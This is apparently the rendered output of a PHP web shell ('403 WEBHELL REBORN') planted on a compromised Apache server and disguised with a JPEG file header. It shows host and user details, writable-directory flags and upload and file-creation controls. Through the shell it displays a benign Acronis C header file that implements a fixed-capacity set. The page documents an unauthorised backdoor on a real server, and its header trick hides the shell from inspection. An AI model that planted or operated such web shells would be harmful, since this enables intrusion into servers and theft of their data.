ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux cloud.heroica.com.br 4.18.0-553.36.1.el8_10.x86_64 #1 SMP Wed Jan 22 03:07:54 EST 2025 x86_64
User : farolpborg ( 1053)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/src/file_protector-1.1-1584/transport/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : //usr/src/file_protector-1.1-1584/transport/set.h
/**
@file
@brief    'set'
@details  Copyright (c) 2021 Acronis International GmbH
@author   Mikhail Krivtsov (mikhail.krivtsov@acronis.com)
@since    $Id: $
*/

#pragma once

#include <linux/types.h>	// bool, [u]int(8|16|32|64)_t, pid_t, size_t

typedef struct {
	void *buffer;
	size_t item_size;
	unsigned capacity;
	unsigned count;
	unsigned count_max;
} set_t;

static inline
void set_init(set_t *set, void *buffer, size_t buffer_size, size_t item_size)
{
	set->buffer = buffer;
	set->item_size = item_size;
	set->capacity = buffer_size / item_size;
	set->count = 0;
	set->count_max = 0;
}

static inline
void *set_buffer(set_t *set)
{
	return set->buffer;
}

static inline
unsigned set_fetch_capacity(set_t *set)
{
	return set->capacity;
}

static inline
void *set_ptr_next(set_t *set, void *item_ptr)
{
	return (void *) ((char *)item_ptr + set->item_size);
}

static inline
void *set_item_ptr(set_t *set, unsigned item_index)
{
	return (void *) (item_index * set->item_size + (char *)set->buffer);
}

static inline
void *set_begin_ptr(set_t *set)
{
	return set_item_ptr(set, 0);
}

static inline
void *set_end_ptr(set_t *set)
{
	return set_item_ptr(set, set->count);
}

static inline
unsigned set_items_count(set_t *set)
{
	return set->count;
}

static inline
void set_items_count_set(set_t *set, unsigned count)
{
	set->count = count;
	if (set->count_max < count) {
		set->count_max = count;
	}
}

static inline
unsigned set_items_count_dec(set_t *set)
{
	return --set->count;
}

static inline
unsigned set_items_count_inc(set_t *set)
{
	unsigned count = ++set->count;
	if (set->count_max < count) {
		set->count_max = count;
	}
	return count;
}

static inline
unsigned set_items_count_max(set_t *set)
{
	return set->count_max;
}

static inline
bool set_is_empty(set_t *set)
{
	return !set_items_count(set);
}

static inline
bool set_is_full(set_t *set)
{
	return set_items_count(set) >= set->capacity;
}

Anon7 - 2021